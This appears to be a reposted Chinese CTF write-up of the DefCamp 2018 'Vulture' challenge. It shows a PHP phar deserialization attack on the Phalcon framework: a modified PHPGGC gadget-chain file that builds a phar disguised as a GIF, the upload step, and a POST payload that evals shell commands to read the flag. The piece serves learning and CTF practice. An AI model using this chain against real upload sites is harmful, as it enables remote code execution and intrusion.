Defcamp(DCTF) 2018-Vulture phar反序列化攻击

栏目: PHP · 发布时间: 7年前

内容简介:这是defcamp ctf 2018 vulture 的题解,使用的方法为利用phar拓展进行PHP反序列化攻击。打开网站后发现是一个图片留言板一类的东西,用户可以上传一张图片和描述图片的文字。经过测试后发现如果选择不存在的图片时会报

前言

这是defcamp ctf 2018 vulture 的题解,使用的方法为利用phar拓展进行 PHP 反序列化攻击。

We created an online service where you can upload pictures of vultures (or other birds). Each user has a feed so you can privately enjoy the photos you took of this majestic killing machines :) Target: https://vulture.dctfq18.def.camp/ Author: Anatol

打开网站后发现是一个图片留言板一类的东西,用户可以上传一张图片和描述图片的文字。

经过测试后发现如果选择不存在的图片时会报 Image not found 的错误。所以这里很有可能使用了 file_exists 去检查文件是否存在。

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

在知道创宇的一篇 文章 中提到过利用phar进行反序列化攻击的例子(这里不再赘述,建议直接看原文。)。而他的利用条件是:

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

在这道题中,题目的环境都满足利用条件。

在利用反序列化过程中需要找好可以任意代码执行的类,很显然,以目前的条件我们还得不到这样一个类。

当我们尝试访问一个不存在的页面时会爆出如下错误:

Exception: xxxController handler class cannot be loaded

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

Google后可以发现这是一个叫 Phalcon 的PHP framework,而网上还有一个利器 PHPGGC: PHP Generic Gadget Chains ,它可以为我们生成ROP Gadget,类似于pwn。

项目地址:https://github.com/ambionics/phpggc

而这个项目里就含有这个框架的gadget。

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

接下来我们修改 gadgetchains/Phalcon/RCE/1/chain.php

<?php

namespace GadgetChain\Phalcon;

class RCE1 extends \PHPGGC\GadgetChain\RCE
{
    public $version = '<= 1.2.2';
    public $vector = '__wakeup';
    public $author = 'Raz0r';
    public $informations = '
        This chain does not expect parameters, will eval() any code supplied in
        php://input (i.e. POST data). Requires allow_url_include = true.
    ';

    # No parameters expected
    public $parameters = [];

    public function generate(array $parameters)
    {
        @unlink('phar.phar');
        $p = new \Phar('phar.phar');
        $p->startBuffering();
        $p->setStub("GIF89a<?php xxx; __HALT_COMPILER();?>");
        $p->addFromString("test.txt", "test");
        $p->setMetadata(new \Phalcon\Logger\Adapter\File());
        $p->stopBuffering();
        return new \Phalcon\Logger\Adapter\File();
    }
}

使用 ./phpggc Phalcon/RCE1 得到exp:

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

可以看到生成的phar文件变成了GIF。我们将这个文件上传上去:

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

这里注意到结果是 false 但这并不影响我们使用,实际上已经上传成功了。

接着根据phpggc的提示:

This chain does not expect parameters, will eval() any code supplied in
        php://input (i.e. POST data). Requires allow_url_include = true.

所以我们只需在post body里写命令执行的代码即可:

<?php die(`ls -la`);
/*ℑ=phar://uploads/5bb0ca3725e63.gif&text=123

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

这里注意需要在 image 的前面加 & ,不然会造成错误。接着我们直接cat flag即可。

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

参考链接

https://paper.seebug.org/680/

https://cyku.tw/ctf-defcamp-qualification-2018/


以上所述就是小编给大家介绍的《Defcamp(DCTF) 2018-Vulture phar反序列化攻击》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Math Adventures with Python

Math Adventures with Python

Peter Farrell / No Starch Press / 2018-11-13 / GBP 24.99

Learn math by getting creative with code! Use the Python programming language to transform learning high school-level math topics like algebra, geometry, trigonometry, and calculus! In Math Adventu......一起来看看 《Math Adventures with Python》 这本书的介绍吧!

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具